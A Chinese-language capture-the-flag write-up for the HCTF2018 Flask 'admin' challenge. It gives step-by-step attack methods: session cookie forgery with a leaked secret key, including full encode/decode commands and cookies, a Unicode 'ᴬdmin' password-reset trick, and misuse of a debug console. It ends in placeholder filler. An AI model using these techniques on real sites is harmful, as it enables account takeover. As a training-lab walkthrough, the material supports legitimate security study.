簡介
原題復現:https://github.com/woadsl1234/HCTF2018_admin
考察知識點:session偽造、unicode漏洞、條件競爭
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
第一個方法:
打開界面先查看了源碼提示 you are not admin 我不是admin 第一感覺就是要admin登陸 於是尋找登陸界面 有個注冊頁面我們先進行注冊
嘗試注冊admin 結果顯示已經有了 我們嘗試"admin "后面為空格
點擊注冊之后就到了這個界面
找到這一行 最右邊鼠標移上去有個命令圖標點擊出現這個 可以執行py 我們輸入print(username)
輸入printf輸出得到賬戶密碼
我們登陸 得到flag
這是應該個非預期....
看看WP的姿勢
方法二:session偽造
方法二:session偽造
session偽造 https://www.leavesongs.com/PENETRATION/client-session-security.html
看作者博客說這也是一個非預期的解,管它呢學姿勢就OJBK了。
隨便注冊一個賬戶 在change修改密碼頁面發現源碼可供下載
https://github.com/woadsl1234/hctf_flask/
下載進行分析發現在app\template\index.html發現session['name']=='admin'就能得到falg,所以看wp思路可以進行session偽造 首先尋找secret_key
在app\config.py里面發現了secret_key 只要有這個我們就可以進行session偽造了 因為我們的Flask的session在本地的
下載工具
https://github.com/noraj/flask-session-cookie-manager
首先獲取我們本地的session值
將session值解碼:
python .\flask_session_cookie_manager2.py decode -c ".eJw9kE2LwjAURf_K8NYuajqzEVwIsaXCS1FiQ7IRdWrz0ThDW6mN-N8nOODqLe7hXO57wOHS1b2GxdDd6hkczDcsHv BxggWg3afIi7u05wnJNjCSOZVnjuWVRt46DNpJIe-KKqf4NjKSSK4Ns-cRvYrcRjO6JyVtDYZiYl4GJJmJ1BxtcS8FkngnyXFUNjMql1 _SrlImMJT0RaeRmLO8-FTcTcpiUvKdVnRN0FemzCPDWx37lvCcwbnvLofhx9XX9wTpN7YUqmWxUorKKrsakTdBBu2V2BhGK8dEnCiimq 5TZldENsuXzvhjU79Nu-SX7sf_5Hr0MYCh7geYwa2vu9fbYJ7A8w-kYW1v.Xj-tXQ.GmXzuYTP0IobbVCyI-9xVsc5C5A" -s ckj123
得到:
{u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'test', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}
在解碼的時候我們要將原數據里面的test改成admin 然后在進行重新編碼
python .\flask_session_cookie_manager2.py encode -t "{u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'admin', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}" -s "ckj123"
得到新的session
.eJw9kE2LwjAURf_K8NYuNJ3ZCC6E2FLhpSix4WUjjlbz0ThDVWoj_vcJDrh6i3s4l_sesD12zcXA9NrdmhFs7QGmD_j4himg22Qoyzu5_YBsFQXLvS5yL4raoGw9RuNJ0V1z7bVcJYYYSWOF2_cYdOKWRvANq3hrMZaDCBSR5TZRE3TlvVLI0h1IYq9dbnVBX-TmmVAYK_6is0RMRFF-aukH7XBcybXRfMEw1LYqEiNbk_pm8BzB_tIdt9cf35zfEygsXaV0K1IlqdppN-9RniJFE7RaWsFrL1SaqJKaLzLh5oxOs5fOht2peZvW41--6f-T8y6kAHaHYM8wgtul6V5_g8kYnn8Rwm24.Xj_KZA.FGcGdsiAkoyhPfzw0dChvF_SR4A
修改原有的session發送得到flag
參考學習:
作者博客:https://www.ckj123.com/?p=147
客戶端 session 導致的安全問題:https://www.leavesongs.com/PENETRATION/client-session-security.html
https://www.cnblogs.com/apossin/p/10083937.html
第三種方法:Unicode欺騙(預期解)
看作者wp這才是真正的預期解
作者說按照這個漏洞思路寫的
unicode問題,對於一些特殊字符,nodeprep.prepare會進行如下操作
ᴬ -> A -> a
攻擊流程:
注冊用戶ᴬdmin
登錄用戶ᴬdmin,變成Admin
修改密碼Admin,更改了admin的密碼
參考學習:https://www.jianshu.com/p/f92311564ad0
第四種方法
111
簡介
111
簡介